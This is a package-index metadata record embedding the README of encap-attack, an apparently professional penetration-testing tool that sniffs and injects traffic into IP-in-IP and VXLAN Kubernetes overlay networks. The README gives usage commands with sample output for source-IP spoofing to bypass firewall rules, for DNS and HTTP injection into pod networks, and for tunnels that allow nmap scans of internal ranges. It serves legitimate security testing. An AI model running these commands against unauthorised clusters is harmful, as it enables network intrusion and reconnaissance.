{"id":28471771,"url":"https://github.com/reverseclabs/encap-attack","last_synced_at":"2025-07-01T22:30:40.588Z","repository":{"id":255436081,"uuid":"849366213","full_name":"ReversecLabs/encap-attack","owner":"ReversecLabs","description":"Sniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols.","archived":false,"fork":false,"pushed_at":"2024-08-30T11:59:49.000Z","size":21,"stargazers_count":21,"open_issues_count":0,"forks_count":6,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-06-07T11:08:42.864Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ReversecLabs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-29T13:18:33.000Z","updated_at":"2025-05-08T16:47:21.000Z","dependencies_parsed_at":"2024-11-12T13:03:31.334Z","dependency_job_id":null,"html_url":"https://github.com/ReversecLabs/encap-attack","commit_stats":null,"previous_names":["withsecurelabs/encap-attack","reverseclabs/encap-attack"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/ReversecLabs/encap-attack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ReversecLabs%2Fencap-attack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ReversecLabs%2Fencap-attack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ReversecLabs%2Fencap-attack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ReversecLabs%2Fencap-attack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ReversecLabs","download_url":"https://codeload.github.com/ReversecLabs/encap-attack/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ReversecLabs%2Fencap-attack/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":263046019,"owners_count":23405117,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-06-07T11:08:49.440Z","updated_at":"2025-07-01T22:30:40.496Z","avatar_url":"https://github.com/ReversecLabs.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Encap-Attack: Encapsulated Network Attacks\n\nSniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols.\n\n## Requirements\n\n- Python\n- `ip`\n- `iptables`\n\n## Installation\n\n```shell\npip3 install encap-attack\nencap-attack --help\n```\n\n### Development installation\n\n```shell\ngit clone https://github.com/WithSecureLabs/encap-attack.git\ncd encap-attack\npython3 -m venv venv\nsudo su\nsource venv/bin/activate\npip3 install .\nencap-attack --help\n```\n\n## Usage\n\nHere are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the `--help` options. For example, `encap-attack vxlan --help` or `encap-attack vxlan tunnel --help`.\n\nAll commands can be run in verbose mode using the `-v` flag after `encap-attack`. For example, `encap-attack -v detect`.\n\n### Sniffing encapsulated network traffic - `detect`\n\nThe tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run:\n\n```shell\nencap-attack detect\n```\n\n### Obtain information about a Kubernetes cluster - `kubeintel`\n\nKubernetes intelligence functionality uses the `kubeintel` subcommand.\n\nTo extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: `kubeintel guess-cidr` and `kubeintel attempt-ipip`.\n\nTo guess the service CIDR:\n\n```shell\nencap-attack kubeintel guess-cidr \u003capi_server_address\u003e\n```\n\nTo guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag:\n\n```shell\nencap-attack kubeintel attempt-ipip -a \u003capi_server_address\u003e -s \u003canother_host_ip\u003e\n```\n\nExample:\n\n```shell\nencap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11\n```\n\nThe tool will also provide `kubectl` commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with `encap-attack kubeintel get-ip-ranges` and `encap-attack kubeintel get-net-info`, respectively. The `kubectl` commands provided will output the information needed to simulate encapsulated packets to the overlay network.\n\n### Attack an IP-in-IP network - `ipip`\n\nIP-in-IP functionality uses the `ipip` subcommand.\n\nYou must ensure the intermediary destination node (`-d` flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response.\n\nTo send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag:\n\n```shell\nencap-attack ipip -d \u003cdestination_host_ip\u003e -s \u003canother_host_ip\u003e request -di \u003cinternal_destination_ip\u003e dns -t \u003cquery_type\u003e \u003cdomain_to_query\u003e\n```\n\nExample:\n\n```\n# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local\nRunning in IP-in-IP mode\n\nInterface IP: 192.168.124.200\n\nSending DNS packet: Ether / IP / IP / UDP / DNS Qry \"b'kube-dns.kube-system.svc.cluster.local.'\" \n\nResponse:\n  kube-dns.kube-system.svc.cluster.local: 10.96.0.10\n```\n\nFor an HTTP request:\n\n```shell\nencap-attack ipip -d \u003cdestination_host_ip\u003e -s \u003canother_host_ip\u003e request -di \u003cinternal_destination_ip\u003e http \"\u003crequest\u003e\"\n```\n\nExample:\n\n```\n# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http \"GET / HTTP/1.1\\r\\nHost: 10.100.99.5\"\nRunning in IP-in-IP mode\n\nInterface IP: 192.168.124.200\n\nSending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http S\n\nSending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http A\n\nSending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http PA / Raw\n\nSending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http A\n\nSending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http FA\n\nSending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http A\n\nResponse:\n\nHTTP/1.1 200 OK\nServer: nginx/1.27.1\nDate: Fri, 23 Aug 2024 10:35:13 GMT\nContent-Type: text/html\nContent-Length: 615\nLast-Modified: Mon, 12 Aug 2024 14:21:01 GMT\nConnection: keep-alive\nETag: \"66ba1a4d-267\"\nAccept-Ranges: bytes\n\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n\u003ctitle\u003eWelcome to nginx!\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eWelcome!\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nAlternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel.\n\n```shell\nencap-attack -d \u003cdestination_host_ip\u003e -s \u003canother_host_ip\u003e tunnel -a \u003capi_server_address\u003e -r \u003croute_cidr\u003e\n```\n\nExample:\n\n```\n# encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16\nRunning in IP-in-IP mode\n\nInterface IP: 192.168.124.200\n\nKubernetes API server certificate information:\n  Subject: kube-apiserver\n  Issuer: kubernetes\n  IPs: 10.96.0.1, 192.168.124.9\n  Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master\n\nGuessed service CIDR: 10.96.0.0/12\nkube-dns DNS server may be available at: 10.96.0.10:53\nCluster DNS suffix: cluster.local\n\n\nStarting tunnel tun0, press Ctrl+C to stop...\n\n\nEncapsulating packet: IP / UDP / DNS Qry \"b'kube-dns.kube-system.svc.cluster.local.'\"\nSending encapsulated packet: Ether / IP / IP / UDP / DNS Qry \"b'kube-dns.kube-system.svc.cluster.local.'\"\n```\n\nAll requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., `nmap`) within the overlay network from an external perspective:\n\n```shell\nnmap -sT 10.2.0.0/16\n```\n\n### Attack a VXLAN network - `vxlan`\n\nVXLAN functionality uses the `vxlan` subcommand.\n\nThe functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the `ipip` command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response.\n\nTo send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag:\n\n```shell\nencap-attack vxlan -d \u003cdestination_host_ip\u003e -s \u003canother_host_ip\u003e -mi \u003cvtep\u003e --vni \u003cvni\u003e -pd \u003cvxlan_tunnel_port\u003e request -di \u003cinternal_destination_ip\u003e dns -t \u003cquery_type\u003e \u003cdomain_to_query\u003e\n```\n\nExample:\n\n```\n# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local\nRunning in VXLAN mode\n\nInterface IP: 192.168.124.200\n\nSending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry \"b'kube-dns.kube-system.svc.cluster.local.'\" \n\nResponse:\n  kube-dns.kube-system.svc.cluster.local: 10.96.0.10\n```\n\nFor an HTTP request:\n\n```shell\nencap-attack ipip -d \u003cdestination_host_ip\u003e -s \u003canother_host_ip\u003e -mi \u003cvtep\u003e --vni \u003cvni\u003e -pd \u003cvxlan_tunnel_port\u003e request -di \u003cinternal_destination_ip\u003e http \"\u003crequest\u003e\"\n```\n\nExample:\n\n```\n# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http \"GET / HTTP/1.1\\r\\nHost:10.100.99.5\"\nRunning in VXLAN mode\n\nInterface IP: 192.168.124.200\n\nSending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http S\n\nSending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http A\n\nSending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http PA / Raw\n\nSending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http A\n\nSending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http FA\n\nSending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 \u003e 10.100.99.5:http A\n\nResponse:\n\nHTTP/1.1 200 OK\nServer: nginx/1.27.1\nDate: Fri, 23 Aug 2024 10:35:13 GMT\nContent-Type: text/html\nContent-Length: 615\nLast-Modified: Mon, 12 Aug 2024 14:21:01 GMT\nConnection: keep-alive\nETag: \"66ba1a4d-267\"\nAccept-Ranges: bytes\n\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n\u003ctitle\u003eWelcome to nginx!\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eWelcome!\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe `vxlan` subcommand also provides a tunnel option, similar to the `ipip` subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel.\n\n```shell\nencap-attack -d \u003cdestination_host_ip\u003e -s \u003canother_host_ip\u003e -mi \u003cvtep\u003e --vni \u003cvni\u003e -pd \u003cvxlan_tunnel_port\u003e tunnel -a \u003capi_server_address\u003e -r \u003croute_cidr\u003e\n```\n\nExample:\n\n```\n# encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16\nRunning in VXLAN mode\n\nInterface IP: 192.168.124.200\n\nKubernetes API server certificate information:\n  Subject: kube-apiserver\n  Issuer: kubernetes\n  IPs: 10.96.0.1, 192.168.124.9\n  Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master\n\nGuessed service CIDR: 10.96.0.0/12\nkube-dns DNS server may be available at: 10.96.0.10:53\nCluster DNS suffix: cluster.local\n\n\nStarting tunnel tun0, press Ctrl+C to stop...\n\n\nEncapsulating packet: IP / UDP / DNS Qry \"b'kube-dns.kube-system.svc.cluster.local.'\"\nSending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry \"b'kube-dns.kube-system.svc.cluster.local.'\"\n```\n\nAll requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - `10.96.0.0/12`) will then be encapsulated and routed into the overlay network. This permits the usage of other tooling (e.g., `nmap`) within the overlay network from an external perspective:\n\n```shell\nnmap -sT 10.2.0.0/16\n```\n\n# Acknowledgements\n\nThis tool was initially developed by [Matthew Grove](https://github.com/mgrove36) at WithSecure Consulting.\n\nIt was inspired by research conducted by [Rory McCune](https://raesene.github.io/blog/2021/01/03/Kubernetes-is-a-router/) and [James Cleverley-Prance](https://www.youtube.com/watch?v=7iwnwbbmxqQ).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Freverseclabs%2Fencap-attack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Freverseclabs%2Fencap-attack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Freverseclabs%2Fencap-attack/lists"}